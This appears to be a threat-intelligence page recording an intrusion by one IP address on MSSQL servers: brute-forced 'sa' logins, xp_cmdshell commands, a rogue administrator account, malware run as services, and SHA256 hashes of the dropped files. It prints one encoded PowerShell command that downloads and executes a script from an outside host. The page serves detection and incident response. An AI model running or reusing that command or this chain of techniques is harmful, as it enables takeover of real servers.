IP Address: 114.141.55.178Malicious

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IP Address:
114.141.55.178​
Malicious

This IP address attempted an attack on a machine protected by Guardicore Centra

Threat Information

Role

Attacker, Scanner

Services Targeted

MSSQL

Tags

MSSQL Listening Successful MSSQL Login Successful SMB Login Scheduled Task Creation MSSQL Brute Force User Created Download and Execute Service Start Download File IDS - Attempted User Privilege Gain SMB Execute MsSql Shell Command User Added to Group Service Creation CMD File Operation By CMD SMB Share Connect

Associated Attack Servers

-

Basic Information

IP Address

114.141.55.178

Domain

-

ISP

PT Cyberplus Media Pratama

Country

Indonesia

WHOIS

Created Date

-

Updated Date

-

Organization

-

First seen in Guardicore Centra

2018-06-17

Last seen in Guardicore Centra

2020-11-19

What is Guardicore Centra
Guardicore Centra is a data center and cloud security solution that protects the organization's core assets, using flexible, quickly deployed and easy to understand micro-segmentation controls. Centra generates in-context security incidents, with details on attacker tools and techniques, that help IR teams prioritize incident investigation and reduce dwell time. Learn More

Attack Flow

A user logged in using MSSQL with the following credentials: sa / ******** - Authentication policy: White List (Part of a Brute Force Attempt)

MSSQL Brute Force Successful MSSQL Login

A user logged in using MSSQL with the following credentials: sa / ******** - Authentication policy: Previously Approved User (Part of a Brute Force Attempt) 3 times

MSSQL Brute Force Successful MSSQL Login

MSSQL executed 3 shell commands

Execute MsSql Shell Command

User k8h3d was created with the password *********** added to groups: Administrators and logged in using SMB 2 times

Successful SMB Login User Created User Added to Group

A user logged in using SMB with the following username: k8h3d - Authentication policy: Correct Password 2 times

Successful SMB Login

The file C:\Windows\WhuLxstS.exe was downloaded and executed

Download and Execute

c:\windows\system32\services.exe installed and started %systemroot%\whulxsts.exe as a service named oTpg under service group None

Service Creation Service Start

C:\Windows\temp\svchost.exe was downloaded

Download File

The command line powershell -ep bypass -e SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAOgAvAC8AdgAuAGIAZQBhAGgAaAAuAGMAbwBtAC8AdgAnACsAJABlAG4AdgA6AFUAUwBFAFIARABPAE0AQQBJAE4AKQA= was scheduled to run by modifying C:\Windows\System32\Tasks\Microsoft\Windows\Bluetool

Process netsvcs Service Group started listening on ports: 65533

Listening

The file C:\Windows\LtYmctfM.exe was downloaded and executed

Download and Execute

c:\windows\system32\services.exe installed and started %systemroot%\ltymctfm.exe as a service named hZCQ under service group None

Service Creation Service Start

Connection was closed due to timeout

IDS detected Attempted User Privilege Gain : SQL sp_configure - configuration change

IDS - Attempted User Privilege Gain

IDS detected Attempted User Privilege Gain : sp_password - password change

IDS - Attempted User Privilege Gain

IDS detected Attempted User Privilege Gain : xp_cmdshell - program execution

IDS - Attempted User Privilege Gain

Associated Files

\\server-backup\c$\zilnbirc.exe

SHA256: 3c2fe308c0a563e06263bbacf793bbe9b2259d795fcc36b953793a7e499e7f71

56320 bytes

C:\Windows\temp\svchost.exe

SHA256: 245855cd9c89326b531c7ce02aa313320a2a61b26771c389b6e0f997cf248e58

130000 bytes

C:\Windows\temp\svchost.exe

SHA256: 3360d28b9b39dd5b31ac0a13eb411aae83a6504c1b6739b917ccf2c8a88e8bfa

455000 bytes

C:\Windows\temp\svchost.exe

SHA256: 0377c1d418ba48ee811f69027cf5b52cbeab91ce7801b006df36c8f0e18790fc

1690000 bytes

C:\Windows\temp\svchost.exe

SHA256: b583eb3486d472ab9fe2ea42698af2b7817a41b25a1d48b8384e5c61b54b6f28

585000 bytes

C:\Windows\temp\svchost.exe

SHA256: 2f1ce10f620d7ef1cf57d556f4d75744678db36067eea019cb369984c290b5f0

1235000 bytes

C:\Windows\temp\svchost.exe

SHA256: 611c31222299fedf1710e6b6cb381560a9bb99a898fcfc5c32dfd2da2d95ccd1

1170000 bytes

C:\Windows\temp\svchost.exe

SHA256: 054af0b32a0e83c761ade2f77e9ab295ba00642e082991649dd375edbf18fde0

1300000 bytes

C:\Windows\temp\svchost.exe

SHA256: ff061f5713903955fd2ad0c2337915b8ad8c1bce27a609ab136f25e13fbbe87d

1040000 bytes

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IP Address: 114.141.55.178​Malicious